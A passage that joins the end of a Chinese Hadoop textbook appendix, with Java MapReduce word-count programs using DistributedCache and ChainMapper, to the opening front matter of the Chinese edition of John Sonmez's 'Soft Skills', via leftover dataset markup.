Task启动之后立即执行（此处因使用新\n//API--org.apache.hadoop.mapreduce.Mapper，所以此函数名是setup而不是\n//旧API中的configure，有疑问可查看API）\npublic void setup（Context context\n）throws IOException, InterruptedException{\nkeyWord=new HashSet＜String＞（）；\nConfiguration conf=context.getConfiguration（）；\nlocalFiles=DistributedCache.getLocalCacheFiles（conf）；\n//将缓存文件内容读入到当前Map Task的全局变量中\nfor（int i=0；i＜localFiles.length；i++）{\nString aKeyWord；\nBufferedReader br=new BufferedReader（new FileReader\n（localFiles[i].toString（）））；\nwhile（（aKeyWord=br.readLine（））！=null）{\nkeyWord.add（aKeyWord）；\n}\nbr.close（）；\n}\n}\n//根据缓存文件中缓存的无意义单词对输入流进行过滤\npublic void map（Object key, Text value, Context context\n）throws IOException, InterruptedException{\nStringTokenizer itr=new StringTokenizer（value.toString（））；\nwhile（itr.hasMoreTokens（））{\nString aword=itr.nextToken（）；\nif（keyWord.contains（aword）==true）\ncontinue；\nword.set（aword）；\ncontext.write（word, one）；\n}\n}\n}\npublic static class IntSumReducer\nextends Reducer＜Text, IntWritable, Text, IntWritable＞{\nprivate IntWritable result=new IntWritable（）；\npublic void reduce（Text key, Iterable＜IntWritable＞values，\nContext context\n）throws IOException, InterruptedException{\nint sum=0；\nfor（IntWritable val：values）{\nsum+=val.get（）；\n}\nresult.set（sum）；\ncontext.write（key, result）；\n}\n}\npublic static void main（String[]args）throws Exception{\nConfiguration conf=new Configuration（）；\n//将HDFS上的文件设置成当前作业的缓存文件\nDistributedCache.addCacheFile（new URI（\"hdfs：//localhost：9000/user/ubuntu/\ncachefile/KeyWord#KeyWord\"），conf）；\nJob job=new Job（conf，\"advanced word count\"）；\njob.setJarByClass（AdvancedWordCount.class）；\njob.setMapperClass（TokenizerMapper.class）；\njob.setCombinerClass（IntSumReducer.class）；\njob.setReducerClass（IntSumReducer.class）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（IntWritable.class）；\nFileInputFormat.addInputPath（job, new Path（\"input\"））；\nFileOutputFormat.setOutputPath（job, new Path（\"output\"））；\nSystem.exit（job.waitForCompletion（true）?0：1）；\n}\n}\n附录D 使用ChainMapper和ChainReducer的MapReduce程序\n本章内容\n程序场景\n详细代码\nD.1 程序场景\n问题定义：过滤无意义单词（a、an和the等）之后的文本词频统计。代码的具体做法：使用两个Map和一个Reduce，第一个Map使用无意义单词数组对输入流进行过滤，第二个Map将过滤后的单词加上出现一次的标签之后输出，最后一个过程是Reduce，对单词出现次数进行合计，并输出结果。需要注意的是ChainMapper和ChainReducer并不支持新的Mapper和Reducer API（代码中也有说明），所以这个程序中使用的API都是旧的API（在1.0.1上运行通过）。源代码的下载请到本书代码下载网址：http：//datasearch.ruc.edu.cn/HadoopInAction/shiyandaima.html。\nD.2 详细代码\npackage cn.edu.ruc.cloudcomputing.book；\nimport java.io.IOException；\nimport java.util.HashSet；\nimport java.util.Iterator；\nimport java.util.StringTokenizer；\nimport org.apache.hadoop.fs.Path；\nimport org.apache.hadoop.io.IntWritable；\nimport org.apache.hadoop.io.LongWritable；\nimport org.apache.hadoop.io.Text；\nimport org.apache.hadoop.mapred.FileInputFormat；\nimport org.apache.hadoop.mapred.FileOutputFormat；\nimport org.apache.hadoop.mapred.JobClient；\nimport org.apache.hadoop.mapred.JobConf；\nimport org.apache.hadoop.mapred.MapReduceBase；\nimport org.apache.hadoop.mapred.Mapper；\nimport org.apache.hadoop.mapred.OutputCollector；\nimport org.apache.hadoop.mapred.Reducer；\nimport org.apache.hadoop.mapred.Reporter；\nimport org.apache.hadoop.mapred.TextInputFormat；\nimport org.apache.hadoop.mapred.TextOutputFormat；\nimport org.apache.hadoop.mapred.lib.ChainMapper；\nimport org.apache.hadoop.mapred.lib.ChainReducer；\npublic class ChainWordCount{\npublic static class FilterMapper extends MapReduceBase implements\nMapper＜LongWritable, Text, Text, Text＞{\nprivate final static String[]StopWord=\n{\"a\"，\"an\"，\"the\"，\"of\"，\"in\"，\"and\"，\"to\"，\"at\"，\"with\"，\"as\"，\"for\"}；\nprivate HashSet＜String＞StopWordSet；\n//此函数实现Mapper接口中的函数，每个Map Task启动之后立即执行（此处因使用\n//旧API--org.apache.hadoop.mapred.Mapper，所以此函数名是configure而不是\n//新API中的setup，使用旧API是因为ChainMapper和ChainReducer不支持新Mapper//API。有\n疑问可查看API）\npublic void configure（JobConf job）{\nStopWordSet=new HashSet＜String＞（）；\nfor（int i=0；i＜StopWord.length；i++）{\nStopWordSet.add（StopWord[i]）；\n}\n}\n//将输入流中的无意义单词过滤掉\npublic void map（LongWritable key, Text value, OutputCollector＜Text, Text＞\ncollector，\nReporter reportter）throws IOException{\nStringTokenizer itr=new StringTokenizer（value.toString（））；\nwhile（itr.hasMoreTokens（））{\nString aword=itr.nextToken（）；\nif（StopWordSet.contains（aword）==true）\ncontinue；\ncollector.collect（new Text（aword），new Text（\"\"））；\n}\n}\n}\npublic static class TokenizerMapper extends MapReduceBase implements\nMapper＜Text, Text, Text, IntWritable＞{\nprivate final static IntWritable one=new IntWritable（1）；\npublic void map（Text key, Text value, OutputCollector＜Text, IntWritable＞\ncollector, Reporter reportter）throws IOException{\ncollector.collect（key, one）；\n}\n}\npublic static class IntSumReducer extends MapReduceBase implements\nReducer＜Text, IntWritable, Text, IntWritable＞{\nprivate IntWritable result=new IntWritable（）；\npublic void reduce（Text key, Iterator＜IntWritable＞values, OutputCollector\n＜Text, IntWritable＞collector, Reporter reportter）throws IOException{\nint sum=0；\nwhile（values.hasNext（））{\nsum+=values.next（）.get（）；\n}\nresult.set（sum）；\ncollector.collect（key, result）；\n}\n}\npublic static void main（String[]args）throws Exception{\nJobConf job=new JobConf（ChainWordCount.class）；\njob.setJobName（\"Chain Map Reduce\"）；\njob.setJarByClass（ChainWordCount.class）；\njob.setInputFormat（TextInputFormat.class）；\njob.setOutputFormat（TextOutputFormat.class）；\n//将第一个过滤单词的Map加入作业流\nJobConf map1Conf=new JobConf（false）；\nChainMapper.addMapper（job, FilterMapper.class，\nLongWritable.class，\nText.class，\nText.class，\nText.class，\ntrue，\nmap1Conf）；\n//将第二个统计单词单次出现的Map加入作业流\nJobConf map2Conf=new JobConf（false）；\nChainMapper.addMapper（job，\nTokenizerMapper.class，\nText.class，\nText.class，\nText.class，\nIntWritable.class，\nfalse，\nmap2Conf）；\n//将合并单词单次出现次数的Reduce设置成作业流唯一的Reduce\nJobConf reduceConf=new JobConf（false）；\nChainReducer.setReducer（job，\nIntSumReducer.class，\nText.class，\nIntWritable.class，\nText.class，\nIntWritable.class，\nfalse，\nreduceConf）；\nFileInputFormat.addInputPath（job, new Path（\"input\"））；\nFileOutputFormat.setOutputPath（job, new Path（\"output\"））；\nJobClient.runJob（job）；\n}\n}"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":21,"cells":{"text":{"kind":"string","value":"目 录\n版权信息\n版权声明\n内容提要\n译者序\n译者致谢\n序一\n序二\n前言\n作者致谢\n关于本书\n在线资源\n作者在线\n第1章 为何这本书与你先前读过的任何书籍都迥然不同\n第一篇 职业\n第2章 从非同凡响开始：绝不要做他人都在做的事\n拥有商业心态\n如何像企业一样思考\n第3章 思考未来：你的目标是什么\n如何设定目标\n追踪你的目标\n第4章 人际交往能力：远比你想象的重要\n别管我，我只想一个人安静地写代码！\n学会如何与人打交道\n第5章 破解面试之道\n通过面试的最快捷的方式\n我是如何得到最后一份工作的\n突破陈规，建立融洽关系\n真正的面试会是什么样子的\n当下你能做什么\n第6章 就业选择：列出你的选择\n选择1：雇员\n选择2：独立咨询师\n选择3：创业者\n到底应该选哪个\n第7章 你是哪类软件开发人员\n专业化很重要\n在一个专业方向上拥有专长\n软件开发人员的专业类别\n选择你的专业\n精通多种语言的程序员该怎么办\n第8章 公司与公司是不一样的\n小公司和创业公司\n中等规模的公司\n大公司\n软件开发公司与拥有软件开发人员的公司\n谨慎选择\n第9章 攀登晋升阶梯\n承担责任\n引人注目\n自学\n成为问题的解决者\n关于政治\n第10章 成为专业人士\n什么是专业人士\n成为专业人士（养成良好习惯）\n坚守正道\n追求品质，完善自我\n第11章 赢得自由——如何辞职\n明智的处理方式\n准备好为自己工作\n你真正工作的时间到底有多长\n切断脐带\n第12章 成为自由职业者：开启自己的一片天地\n开始\n问问你认识的人\n获得客户的最佳途径\n怎么收费\n第13章 创建你的第一个产品\n找到受众\n测试市场\n从小处着手\n开始\n第14章 你打算开始创业吗\n创业的基础\n不做大，毋宁回家\n创业的典型周期\n创业加速器\n获得投资\n第15章 远程工作的生存策略\n做“隐士”面临的挑战\n第16章 假装自己能成功[1]\n“假装自己能成功”的真实含义\n付诸实践\n第17章 单调乏味的简历——如何修改\n你不是专业的“简历写手”\n雇一个简历写手\n比别人多做一点点\n如果不想雇专业的简历写手该怎么做\n第18章 请勿陷入对技术的狂热之中\n我们都是技术的信徒\n天生一物必有用\n发生在我身上的转变\n不拘一格\n第二篇 自我营销\n第19章 针对“码农”的营销基础课\n自我营销意味着什么\n自我营销为何如此重要\n如何自我营销\n第20章 打造引人注目的品牌\n什么是品牌\n构成品牌的要素有哪些\n创建属于自己的品牌\n第21章 创建大获成功的博客\n为什么博客如此重要\n创建博客\n打造成功博客的秘诀\n提升访问量\n我可不能保证你能够一鸣惊人\n第22章 你的主要目标：为他人增加价值\n给人们想要的东西\n把你工作成果的90%都做成免费的\n奔向成功的快车道\n赠人玫瑰，手有余香\n第23章 善于运用社交媒体\n培育你的社交网络\n有效地运用社交媒体\n保持活跃度\n不同的社交网络，不一样的功能划分\n第24章 演讲、报告和培训：做“说话的极客”\n为什么现场演讲如此有力\n开始演讲\n做培训怎么样\n第25章 著书立说，吸引追随者\n为什么著书立说如此重要\n书籍和杂志都不赚钱\n获得出版机会\n自出版\n第26章 百折不挠，越挫越勇\n万事开头难\n被看作傻瓜又如何\n小步快跑\n第三篇 学习\n第27章 学习怎样学习：如何自我教育\n剖析学习过程\n自我教育\n第28章 我的“十步学习法”\n体系背后的逻辑\n十步学习法体系\n第29章 第 1 步到第 6 步：这些步骤只做一次\n第1步：了解全局\n第2步：确定范围\n第3步：定义目标\n第4步：寻找资源\n第5步：创建学习计划\n第6步：筛选资源\n第30章 第7步到第10步：循环往复\n第7步：开始学习，浅尝辄止\n第8步：动手操作，边玩边学\n第9步：全面掌握，学以致用\n第10步：乐为人师，融会贯通\n最后的思考\n第31章 寻找导师：找到你的尤达[1]\n导师的修养\n在哪里可以找到导师\n虚拟导师\n招募导师\n第32章 开山收徒：成为尤达一样的大师\n做一名导师\n身为导师的好处\n挑选一位“值得”指导的门徒\n第33章 传道授业：若要学知识，必得为人师\n我不是老师\n在你传道授业的时候都会发生什么\n入门\n第34章 你需要一个学位吗，还是可以对此忽略不计\n获得成功必须要有学位吗\n拥有学历的优势\n没有学历又当如何\n第35章 发现自己的知识短板\n为什么我们会有短板\n找出你的短板\n消除短板\n第四篇 生产力\n第36章 一切始于专注\n什么是专注\n专注的魔力\n如何更专注\n没有听起来那么容易\n第37章 我的私房“生产力提升计划”\n概览\n季度计划\n月计划\n周计划\n日计划及执行\n与干扰作斗争\n休息和休假\n第38章 番茄工作法\n番茄工作法概述\n有效利用番茄工作法\n心理游戏\n你可以完成多少工作\n第39章 我的“定额工作法”：我是如何做到超额完成工作的\n问题\n什么是定额工作法\n定额工作法的工作原理\n定额工作法为什么会有效\n第40章 对自己负责\n责任感\n对自己负责\n外部问责\n第41章 要不要多任务并行\n为什么多任务并行一般都很糟糕\n批量处理生产效率更高\n什么才是真正的多任务并行\n第42章 职业倦怠：我已找到解药\n为什么会产生倦怠\n事实上，你不过是撞到了一堵墙[1]\n在墙的另一侧\n穿过那堵墙\n第43章 时间是怎样被浪费掉的\n最大的时间杀手\n戒掉电视\n其他时间杀手\n跟踪你的时间\n第44章 形成惯例的重要性\n惯例可以让你……\n创建一个惯例\n让惯例更细化\n第45章 培养习惯：刷新你的代码\n了解习惯\n找出坏习惯，改掉\n养成新习惯\n第46章 分解任务：如何吃掉一头大象\n为什么更大并不总是更好\n分解任务\n如何分解任务\n分解问题\n第47章 努力工作的价值，以及为什么你总是逃避努力工作\n为什么努力工作是如此的辛苦\n如果我只是“聪明地”工作\n努力工作总是枯燥的\n现实\n努力工作：如何做到这一点\n第48章 任何行动都比不采取行动好\n我们为什么拒绝采取行动\n不采取行动会发生什么\n可能发生的最坏情况是什么\n跑起来的汽车更容易转向\n现在要怎么做\n第五篇 理财\n第49章 怎样支配你的薪水\n拒绝短期思维\n资产与负债\n回到薪水这个话题\n第50章 怎样进行薪酬谈判\n薪酬谈判始于求职之前\n获得工作的方式至关重要\n先出价者输\n被要求先出价该怎么办\n被问及当前薪酬该怎么办\n拿到offer的时候\n最后一些建议\n第51章 期权：所有乐趣之所在\n期权的基础知识\n深入了解期权\n卖出期权\n更复杂的期权\n第52章 房地产投资面面观\n为什么要投资房地产\n我该怎么做呢\n第一步：学习\n采取行动\n利用物业托管\n第53章 你真的了解自己的退休计划吗\n退休计划就是利用逆向思维\n计算你的退休目标\n如果我进退维谷或者接近退休年龄怎么办\n第54章 债务的危害：社保债务[1]代价昂贵\n为什么债务一般都是不好的\n债务方面常见的愚蠢之举\n并非所有债务都是不好的\n第55章 额外馈赠：我是如何做到33岁退休的\n“退休”的确切含义是什么\n我是如何起步的\n租房灾难\n获得外部力量从困境中脱身\n经受磨砺\n是诱人的捷径还是可怕的短路\n经受更多磨砺\n转折点\n幸运降临\n“艰苦工作”模式\n源源不断的被动收入\n快速分析和小结\n第六篇 健身\n第56章 为什么需要破解自己的健康密码\n自信心\n大脑的力量\n恐惧\n第57章 设定你的健身标准\n挑选一个具体的目标\n创建里程碑\n测量你的进展\n保持健康的生活方式\n第58章 热力学、热量和你\n什么是卡路里\n减肥很简单\n摄入了多少卡路里\n燃烧了多少卡路里\n利用卡路里来实现自己的目标\n第59章 动力：让你的屁股离开椅子\n什么能激励你\n过早奖励自己\n保持动力的做法\n计划了就一定要执行\n第60章 如何增长肌肉：书呆子也能拥有强健的肌肉\n肌肉是如何生长的\n举重的基础知识\n不同的目标\n准备开始\n你应该做哪种举重练习\n吃些什么\n第61章 如何获得完美腹肌\n厨房造就腹肌\n你的身体不想让你有腹肌\n你该怎么做\n第62章 启动跑步程序\n为什么你想要跑步\n准备开始跑步吧\n入门建议\n第63章 站立式办公及其他窍门\n站立式办公和跑步机上办公\n饮食窍门\n第64章 高科技健身装备：极客现身\n步行计数器和计步器\n无线体重计\n组合设备\nPUSH的长处\n耳机\n应用\n第七篇 精神\n第65章 心灵是如何影响身体的\n从心灵开始\n心灵和身体的联系\n第66章 拥有正确的心态：重新启动\n什么是积极性\n积极性的正面作用\n如何重启你的态度\n第67章 构建一个积极的自我形象——规划你的大脑\n什么是自我形象\n自我形象是很难改变的\n对你的大脑“重新编程”\n第68章 爱情与恋爱：计算机无法牵着你的手\n为什么软件开发人员有时很难找到爱情\n了解游戏规则\n所以，我所要做的就是充满信心，对吧？\n这就是一场数字游戏\n第69章 我的私房成功书单\n自我提升和励志类图书\n软件开发类图书\n投资类图书\n第70章 积极面对失败\n为什么我们总是害怕失败\n失败并不是被打败\n失败是通往成功的必经之路\n学会拥抱失败\n第71章 结束语\n结束语\n附录A 如果你能写代码，你就能理解金融\nA.1 货币是什么\nA.2 货币的类型\nA.3 通货膨胀与通货紧缩\nA.4 中央银行\nA.5 那么“普通银行”又是怎么回事\nA.6 金融体系的基础\n附录B 股市是如何运作的：系统的游戏规则\nB.1 股市存在的目的\nB.2 当你交易股票的时候会发生什么\nB.3 如何在股市里赚钱\nB.4 指数、共同基金和交易型开放式指数基金\n附录C 垃圾进来，垃圾出去：饮食和营养基础知识\nC.1 食物的基本组成部分\nC.2 身体所需要的其他营养\nC.3 所有的一切都源于饮食\n附录D 如何吃出健康来：比萨并不是一个食物组\nD.1 在大多数情况下，食品就是食品\nD.2 我是不是也需要只吃垃圾食品\nD.3 究竟什么是“健康”食品\n看完了\n版权信息\n书名：软技能：代码之外的生存指南\nISBN：978-7-115-42947-6\n本书由人民邮电出版社发行数字版。版权所有，侵权必究。\n您购买的人民邮电出版社电子书仅供您个人使用，未经授权，不得以任何方式复制和传播本书内容。\n我们愿意相信读者具有这样的良知和觉悟，与我们共同保护知识产权。\n如果购买者有侵权行为，我们可能对该用户实施包括但不限于关闭该帐号等维权措施，并可能追究法律责任。\n• 著 [美] John Z. Sonmez \n 译 王小刚\n 责任编辑 杨海玲\n• 人民邮电出版社出版发行 北京市丰台区成寿寺路11号\n 邮编 100164 电子邮件 315@ptpress.com.cn\n 网址 http://www.ptpress.com.cn\n• 读者服务热线：(010)81055410\n 反盗版热线：(010)81055315\n版权声明\nOriginal English language edition, entitled Soft Skills：The Software Developer’s Life Manual by John Z. Sonmez published by Manning Publications Co., 209 Bruce Park Avenue, Greenwich, CT 06830. Copyright ©2014 by Manning Publications Co.\nSimplified Chinese-language edition copyright ©2016 by Posts & Telecom Press. All rights reserved.\n本书中文简体字版由Manning Publications Co.授权人民邮电出版社独家出版。未经出版者书面许可，不得以任何方式复制或抄袭本书内容。\n版权所有，侵权必究。\n内容提要\n这是一本真正从“人”（而非技术也非管理）的角度关注软件开发人员自身发展的书。书中论述的内容既涉及生活习惯，又包括思维方式，凸显技术中“人”的因素，全面讲解软件行业从业人员所需知道的所有“软技能”。\n本书聚焦于软件开发人员生活的方方面面，从揭秘面试的流程到精耕细作出一份杀手级简历，从创建大受欢迎的博客到打造你的个人品牌，从提高自己工作效率到如何与“拖延症”做斗争，甚至包括如何投资不动产，如何关注自己的健康。\n本书共分为职业篇、自我营销篇、学习篇、生产力篇、理财篇、健身篇、精神篇等七篇，概括了软件行业从业人员所需的“软技能”。通过阅读本书，软件工程人员、编程人员和其他技术人员能够积极思考自己的职业生涯，丰富自己的生活，让自己更接近成功。\n谨以本书献给所有自强不息、孜孜不倦地持续\n自我改进的开发人员。他们具备下列素质：\n永远不会对“不错”感到心满意足\n永远寻求每一个机会来拓展自己的视野，探索未知事物\n对知识的渴求永远不会熄灭\n笃信软件开发并不仅仅意味着编写代码\n知道失败不是结束，失败只是人生旅程上的小小一步\n有过挣扎，有过失败，但仍然会爬起来继续战斗\n拥有强烈意愿和决心，在人生的道路上不畏艰难\n以及最重要的，愿意一路上帮助他人\n译者序\n如果不看本书的内容，只看书名，猜猜看：这会是一本怎样的书？\n“这又是一本关于软件开发的书？”——错了。你见过有哪本论述软件开发方面的书籍在将近30万字的篇幅里连一行代码、一张操作界面截图、一幅算法流程图都没有？就像这本书一样？\n“这是一本专门写给软件开发人员看的书？”——也不全是。我认为本书里描述的方法、技术和工具，以及作者在书中分享的建议、意见与最佳实践，对于每一个身在职场的人都是适用的，无论你是在为某家公司服务，还是已经自己创业（或者已经做好准备创业了），抑或是自由职业者。\n“那么，这总归是一本书吧？”——不好意思，你又猜错了。这还真不只是“一本”书。它从7个方面分享了让我们的生活变得更加积极正向、美好舒适的各种要素——工作、学习、健体、修身，打理自己的钱财，规划自己的职业生涯，乃至于如何提高自己在业界的知名度从一介寂寂无名的小卒成长为鼎鼎有名的大神，如何让自己的博客文章受万人追捧，如何让我们中一些人为之谈虎色变的面试变得轻松简单，唾手可得……所以，你可以把它看作是7本书的聚合体。又或者，由于本书每一章的内容相对独立、自成一体，例如在“学习”篇中作者介绍了自创的“十步学习法”，分享了自己克服拖延症的私房“提升生产力计划”，还谈到了如何给自己寻找导师，所以你也可以把本书当作70篇博客文章来阅读。\n“哎呦，这也不是那也不是，那么这到底是一本怎样的书呢？”好吧，我来跟你分享一下我在翻译这本书时的心路历程。\n在翻译本书的时候，我最多的感慨就是：“如果我早10年甚至早15年读到这本书那该多好啊……”——嗨，John，听到没有，我这也是对你的抱怨呢！你为什么不早几年写本书呢？！——如果我早20年读到本书，我可以提早为自己规划更为有效的职业生涯，而不是在摸爬滚打、走了那么大一段弯路之后才找到自己的目标；如果早15年读到本书，我一定会在房地产行业最热火朝天的时候倾尽全力、义无反顾地多买几套房子（别笑，也别鄙视我，本书有整整一篇在讲如何理财——如何投资不动产，如何投资期权，乃至于如何跟雇主谈判薪水，以便让程序员们在“年老色衰”的时候不至于举着“写代码换晚餐”的牌子逡巡于大街小巷）；如果早10年读到本书，我可以在刚刚进入咨询和培训行业的时候就开始有意识地执行“自我营销”的计划和行动，那么我现在一定可以名满天下；如果早5年读到本书，我可以卓有成效地开展健身计划，开始锻炼身体，不至于现在因体重超标×公斤而天天被老婆大人数落。\n所以，在刚开始翻译这本书的时候，我把自己当作是一名译者——尽力做到译文的“信达雅”。慢慢地我变成了一名读者——讲述MVC结构、揭秘iOS编程秘籍以及论证PHP是全世界最好的编程语言的书遍布大江南北，但是真正从“人”的角度给予软件开发人员生活指导和发展建议的书，我只看到这一本。关键是，这还不是一本“心灵鸡汤”式的书，本书的所有建议和行动项都是可以立刻落地执行、立即付诸于实践的。套用开发人员的“行话”——“全是干货啊！”所以，不瞒你说，我现在已经近水楼台地开始实际操作这本书里的若干实践了。\n所以，我敢肯定，无论你年龄大小、职位高低、处在何种行业，你都一定能够在本书中找到对自己有用的东西——如果你服务于某家企业，你会看到如何“攀登晋级阶梯”；如果你是一位自由职业者，你会看到在家办公的时候如何管理时间和规划任务；如果你打算创业，你会看到在哪里能够找到靠谱的孵化器；甚至，不管属于上述哪种情况，我们对于“如何做到35岁退休”的话题一定都是心向往之……\n套用时下流行的一首诗，为这篇“译者序”做个结尾吧——\n你看，或者不看，\n这本书里所阐述的事实就在那里，不增不减。\n你买，或者不买\n这本书的作者都会真诚地凝望着你，不会离去。\n译者致谢\n首先，我要感谢中国铁路总公司和中国东方航空——由于讲师和咨询顾问的身份，在一年的大部分时间里，我都要穿梭于各大城市的各个客户之间。所以，本书的大部分翻译工作要么是在30 000英尺高空的机舱中完成的，要么是在300公里时速的高铁上完成的。感谢这两家公司为我提供了优质安全的服务。\n感谢我的太太张炜英（Angel Zhang）女士。不仅因为她给予我工作上的支持和鼓励，还因为作为科技英语专业毕业的硕士高材生，正是她的审读工作才使得我敢于把这本书拿出来供大家品评。于是我不禁感慨，在20年前读书的时候下定决心追求一位外语系的女生是多么明智的选择——这也许是我这一生中最明智的选择。\n本书第61章至第70章以及附录A的翻译得到了董岱（Gill Dong）女士的大力帮助。那些章节的内容涉及大量的心理学和生理学的专业知识，没有她的帮助要完成翻译工作是不可想象的。\n感谢本书的责任编辑杨海玲女士。她的宽容和耐心是我完成本书翻译工作的助推器和润滑剂。\n最后，但并非最不重要的，感谢我的父母。谢谢他们对我的教导和晓谕，让我在这个纷繁复杂的世界上没有胡乱地生长。感谢你们，永远！\n序一\n长期以来，我一直都是软技能的倡导者。编码生活是如此严酷，令人不寒而栗。在冷酷无情的代码世界里，一切都是那么容易测量。你能写多少行代码？你的生产效率怎样？那些测试都通过了吗？……人们很容易陷入这一切测量之中而忽视了技术中“人”的因素。\n你讨人喜欢吗？你令人欣赏吗？你善良而又热情吗？你是通过自己富有积极性和支持性的行为去激励他人，还是只是无所顾忌地挥霍自己的能力？你关心自己，关爱自己的背部、臀部乃至大脑吗？我编码已经超过25年了，让我来告诉你：如果你不关心它们，它们终究会坏掉。\n也许你就像我们当中很多人一样，也是一位咨询师。那么，你关心自己的财务状况吗？赚钱与代码的编译方式完全不一样，尽管你希望二者相通。所有这些技能以及更多其他技能构成了所谓的“软技能”，而这些，John在这本书中已经为我们编译完成了，这包括成为一名软件专业人士所需要知道的所有事情！经过这么多年的快速失败、经常失败，John以他自身丰富的经验告诉我们什么可行、什么不可行。本书是一位成功的工程师近乎完美的倾心之作，针对广泛的主题为你提供有益的、实用的和可操作的建议！\n我还建议你去看看我的免费视频纪录片Get Involved in Tech（涉足技术，http://www.getinvolvedintech.com），其中讨论了成为一名“社会型开发者”意味着什么，就像John在本书第二篇中谈到的。John和我对此观点相近，这也正是我很乐意为本书作序的原因。\n享受这本书吧！每次只读一点，然后去实践、吸收，然后回头再去细看。 [1]软件开发中的持续集成和持续改进对于“湿件”（wetware）同样有效！\n——Scott Hanselman\n软件架构师、工程师、作者、教师\n[1] 这里暗指用John自创的“十步学习法”来读John自己的书。——译者注\n序二\n2014年12月5日，我62岁生日那天，是一个周五。这天晚间我收到本书作者John Sonmez的一封电子邮件。在邮件中，他邀请我在12月8日（周一）之前为本书写一个序。John在电子邮件中附有一个压缩文件包，里面有几十个Word文档。我发现这种展示方式实在是不方便、让人伤脑筋，时间如此紧迫，我都来不及为它们生成一个完整的PDF文件。\n我其实不是很高兴接到这样的请求。我的妻子刚刚做过双膝关节置换手术，正在康复过程中。周六上午我有一个飞行学习课程，白天剩下的时间我打算用来陪伴我的妻子。周六晚上，我要搭乘飞往伦敦的航班，接下来的周一至周五我都在那里讲课。所以，没有办法，周一之前我完成不了这篇序。我告诉John，他给我的时间不够。\n就在开车赶往机场之前，我收到了John送我的圣诞礼物——奶酪和火腿，还有一张感谢卡——感谢我考虑为本书写序。同时，我还收到了John的另一封电子邮件，说：他已经恳请出版商宽限一天，所以他可以等我到周二。他给我发了好几封言辞恳切的邮件，但我告诉他，实在是没有合适的机会，他从我这里肯定会失望而归。\n我开车去了机场，登上飞机，整个飞行过程中我都在睡觉，然后打车去了伦敦我最喜欢的酒店。漫漫旅途让我精疲力竭，我在恍恍惚惚中玩着Minecraft游戏，直到终于躺倒。周一我讲了一整天的课，然后还得在SMC编译器上为我的“整洁代码”（Clean Code）视频系列（http://cleancoders.com）的第30集做一些工作。\n今天是12月9日，周二，授课的第二天，我让学生先做了一个耗时两小时的练习，然后查收电子邮件，发现John又给我发了一封邮件，并且将全书整理成为一个简洁的PDF文件。好吧，这让事情变简单了。我可以打开文件，上下滚动浏览整本书。好极了！\n请注意，这正是我要告诉你的——John做了必要的事情。他设想了我可能需要的和我想要的东西。他遵循最初的请求，循循善诱而又雪中送炭。很明显，他花了很多时间和精力使我的工作更容易，抓住这些微乎其微的机会让我有机会可以写这篇序。甚至在我拒绝他并告诉他“这几乎肯定是不可能的”时，他继续想方设法诱导和帮助我。他没有放弃，没有退缩。只要有一线机会，他就会继续寻找方法。\n而这恰恰正是这本书的宗旨。这是一本关于如何获得成功的书籍，论述的内容包括生活习惯和策略，程序和思维方式，以及各种你可以用来推动自己更接近成功的秘技和绝招。在发出最初的请求后，John针对我所做出的行为就是一个例子；而他自己，正是这本书中所撰写的内容之典范。\n所以，在学生们做练习的两个小时里，我打开这个PDF文件看了起来。哇！看看这些标题！他谈到了身体健康、期权交易、房地产和精神平衡；他谈到了怎么辞职、开始咨询业务；他谈到了参与创业、构建产品、攀登职场阶梯、营销自我……这样的例子不胜枚举。\n我有自知之明，知道自己根本不可能在两小时内读完整本书，而且我也不会这么写序，于是我一边阅读一边略读。不过很快，我开始有一种感觉，John传递了一个要点，这是很棒的要点！这是一个全面的要点，是每一个软件开发人员（其他人也一样，只要面临的是同样的问题）都应该听到的信息。\n你知道如何写简历吗？你了解如何谈判薪水吗？作为一个独立咨询师，你知道如何设定咨询费吗？你知道如何权衡辞去全职工作转而成为兼职工作者的风险吗？你了解如何获得创业启动资金吗？你明白看电视的成本是多少吗？（是的，你没有看错。）\n这就是这本书谈论的内容，这就是本书可以教给你的东西，而这些东西正是你需要的。我还没有看完整本书，不少内容只是略读，但读到的内容已经深深吸引了我，这已经足够了，毕竟我的目的是写这篇序。我的结论是，如果你是一位在软件开发这个复杂行业中为自己苦苦寻觅生存方式的年轻人，那么你该拿起这本书，因为这本书会给你带来许多真知灼见和金玉良言。\n尽管开局不利，尽管时间紧迫，尽管困难重重，但是John还是想尽办法让我为本书写序。他运用了他写的这本书中的原则，再度获得了成功！\nRobert C. Martin（Bob大叔）\n著名程序员，《敏捷软件开发》《代码整洁之道》等名著作者\n前言\n也许我可以给你演绎一个玄幻故事，说说我是如何开始写这本书的。我可以跟你说，当我在沙漠中打坐的时候，一只老鹰飞了下来，落在了我的肩上，小声在我耳旁说：“你必须为软件开发人员写一本关于软技能的书。”我还可以告诉你，这本书是在梦中来到我身旁的——夜半时分，我被这本书的构想惊醒了，于是开始奋笔疾书，写下每一章，试图捕捉我在梦中看到的一切。\n但是，真相其实就是——我写这本书，是因为我觉得我必须写这本书。\n作为一个软件开发人员，在我的生活中，我经历过许多不同的旅程。我曾走在阳关大道，也曾误入歧途，还有一些路我至今仍不知是对还是错。这一路走来，我并没有得到太多的帮助和指导。我从来没觉得有谁为我披荆斩棘，开辟出一条小路使我可以因循，也从来没觉得有谁可以告诉我如何成为一名最成功的软件开发人员——不能只编写代码，还要有精彩的人生。\n当然，也曾有过许多人影响了我的人生，也有许多人教导我各种各样的有关软件开发的事情（以及更多）。毋庸讳言，我一生中取得的成功，部分应归功于他们。但我确实从来没有发现某位人士或某个导师，能够把以下信息汇集在一起，例如：\n如何管理职业生涯，如何在职业生涯中做出正确选择；\n如何以更好、更有效的方式学习，以及如何尽可能富有成效，以及在缺乏动力而心灰意冷的时候该如何去做；\n有关理财的基础知识，有关身心健康的基础知识，以及——作为一个软件开发人员，乃至于作为生活在这个星球上的一个“人”，这些事情会如何影响到我。\n我写这本书是因为我希望能够提供这方面的指导，或者至少可以尽我所能分享我所学到的一切，它们来自我自己的个人经验，或者来自我遇到过和互动过的其他成功的软件开发人员、财务专家、健身大师和励志演说家……的经验。我写这本书是因为我觉得如果不把这些我学到的和我经历过的分享出来，是一种浪费。\n我写这本书，是为了：\n让你的旅程更轻松；\n帮助你成为更好的自己；\n而且，最重要的是，让作为软件开发人员的你在漫漫人生旅途中不再感到孤独寂寞。\n读到这些让你感到欢欣鼓舞了吗？\n好吧，让我们开始这段旅程吧！\n作者致谢\n“如果我比别人看得更远，那是因为我站在巨人的肩膀上。”\n——艾萨克•牛顿\n罕有哪本书是在缺少他人帮助的情况下写成的。当然，